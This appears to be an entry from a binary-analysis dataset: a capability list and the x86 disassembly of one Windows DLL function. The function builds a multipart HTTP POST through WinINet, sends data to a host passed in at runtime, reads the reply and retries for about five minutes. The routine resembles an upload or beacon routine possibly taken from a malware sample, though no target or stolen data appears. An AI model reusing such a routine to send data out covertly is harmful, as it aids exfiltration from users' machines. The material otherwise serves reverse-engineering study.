Function at 0x10001980
Capabilities:
Check http status code
Connect to http server
Create http request
Read data from internet
Receive data
Send data
Send http request

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x20], edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add eax, 0x493e0
mov ebx, dword [esp + 0x4c]
mov dword [esp + 0x44], eax
mov esi, dword [ebx + 0x10]
push 0
push 0
push 0
push 1
push dword [0x1000e44c]
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esp + 0x1c], eax
test eax, eax
je 0x10001e17
push 4
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], 0x4e20
push ecx
push 2
push eax
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [esp + 0x28]
push eax
push 5
push dword [esp + 0x28]
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [esp + 0x28]
push eax
push 6
push dword [esp + 0x28]
call dword [sym.imp.WININET.dll_InternetSetOptionA]
cmp dword [ebx + 0x10], 0
mov ecx, 0x1bb
push 0
push 0
push 3
push 0
mov eax, 0x50
push 0
cmovne eax, ecx
movzx eax, ax
push eax
push dword [ebx + 4]
push dword [esp + 0x38]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ecx, eax
mov dword [esp + 0x40], ecx
test ecx, ecx
je 0x10001e06
push 0
test esi, esi
mov edx, 0x842a0000
mov eax, 0x84aa3300
cmove eax, edx
push eax
push 0
push 0
push str.HTTP_1.1
push dword [ebx + 0xc]
push str.POST
push ecx
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x10001df6
push 0x800
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [esp + 0x14], esi
test esi, esi
je 0x10001deb
push str.Connection:_close_r_n
push 0x1000a69c
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0xa0000000
push eax
push esi
push ebx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
mov dword [esp + 0x28], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x34], eax
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.NTDLL.dll_RtlRandom]
push 0x800
mov ebp, eax
push 8
mov dword [esp + 0x40], ebp
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [esp + 0x3c], esi
test esi, esi
je 0x10001baa
push dword [esp + 0x50]
mov dword [esp + 0x2c], esi
push ebp
push str.___________lu_r_nContent_Disposition:_form_data__name__s__r_nContent_Type:_text_plain_r_nContent_Transfer_Encoding:_binary_r_n_r_n
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
push ebp
mov dword [esp + 0x2c], eax
inc esi
add eax, esi
push str.___________lu___r_n_r_n
push eax
mov dword [esp + 0x4c], eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, eax
mov eax, dword [esp + 0x68]
mov dword [esp + 0x48], ecx
lea ebp, [eax + 0x24]
lea esi, [eax + 0x1c]
mov eax, dword [eax + 0x2c]
add eax, dword [esi]
add eax, ecx
add eax, dword [esp + 0x34]
add eax, dword [ebp]
push eax
push str.Content_Length:__lu_r_n
push dword [esp + 0x38]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push 0xa0000000
push eax
push dword [esp + 0x1c]
push ebx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
push dword [esp + 0x38]
push str.Content_Type:_multipart_form_data__boundary_________lu_r_n
push dword [esp + 0x1c]
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0xa0000000
push eax
push dword [esp + 0x1c]
push ebx
call dword [sym.imp.WININET.dll_HttpAddRequestHeadersA]
jmp 0x10001bb4
mov eax, dword [esp + 0x4c]
lea esi, [eax + 0x1c]
lea ebp, [eax + 0x24]
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestExA]
test eax, eax
je 0x10001daa
mov eax, dword [esp + 0x18]
mov dword [esp + 0x38], eax
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x2c]
push ebx
call fcn.10005070
add esp, 0xc
cmp eax, dword [esp + 0x18]
jne 0x10001c6f
cmp dword [esi], 0
je 0x10001c09
mov eax, dword [esp + 0x4c]
push esi
push dword [eax + 0x18]
push ebx
call fcn.10005070
add esp, 0xc
cmp eax, dword [esi]
jne 0x10001c6f
cmp dword [ebp], 0
je 0x10001c25
mov eax, dword [esp + 0x4c]
push ebp
push dword [eax + 0x20]
push ebx
call fcn.10005070
add esp, 0xc
cmp eax, dword [ebp]
jne 0x10001c6f
mov eax, dword [esp + 0x4c]
cmp dword [eax + 0x2c], 0
lea esi, [eax + 0x2c]
je 0x10001c43
push esi
push dword [eax + 0x28]
push ebx
call fcn.10005070
add esp, 0xc
cmp eax, dword [esi]
jne 0x10001c6f
mov esi, dword [esp + 0x2c]
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x34]
mov dword [esp + 0x40], esi
push ebx
call fcn.10005070
mov ecx, dword [esp + 0x2c]
add esp, 0xc
cmp eax, esi
mov eax, 1
cmove ecx, eax
mov dword [esp + 0x20], ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpEndRequestA]
cmp dword [esp + 0x20], 0
je 0x10001dc2
push 0x2000
push 8
xor edi, edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
je 0x10001da1
push esi
lea eax, [esp + 0x3c]
mov dword [esp + 0x34], esi
push eax
lea eax, [esp + 0x38]
mov dword [esp + 0x40], 4
push eax
push 0x20000013
push ebx
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
test eax, eax
je 0x10001d91
cmp dword [esp + 0x30], 0xc8
jne 0x10001d91
lea eax, [esp + 0x10]
mov dword [esp + 0x10], esi
push eax
push 0x1fff
push ebp
push ebx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x10001d91
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10001d91
cmp edi, 0x100000
ja 0x10001d78
inc eax
add eax, edi
push eax
test esi, esi
jne 0x10001d2c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x10001d40
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x10001d7c
push dword [esp + 0x10]
mov esi, eax
push ebp
lea eax, [esi + edi]
push eax
call sub.NTDLL.dll_RtlMoveMemory
add edi, dword [esp + 0x10]
lea eax, [esp + 0x10]
push eax
push 0x1fff
push ebp
mov byte [esi + edi], 0
push ebx
mov dword [esp + 0x20], 0
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x10001d00
jmp 0x10001d91
test esi, esi
je 0x10001d8d
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
mov eax, dword [sym.imp.KERNEL32.dll_HeapFree]
call eax
xor esi, esi
xor edi, edi
push ebp
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x4c]
mov dword [eax + 0x30], esi
jmp 0x10001dc2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2f7d
jne 0x10001dc2
mov eax, dword [esp + 0x4c]
mov dword [eax + 0x10], 0
mov eax, dword [esp + 0x3c]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test eax, eax
je 0x10001ddc
push eax
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [esp + 0x14]
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
call esi
jmp 0x10001dfc
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [esp + 0x40]
call esi
mov ebx, dword [esp + 0x4c]
push dword [esp + 0x1c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [esp + 0x20], 0
jne 0x10001e33
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [esp + 0x44]
jae 0x10001e33
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100019a6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret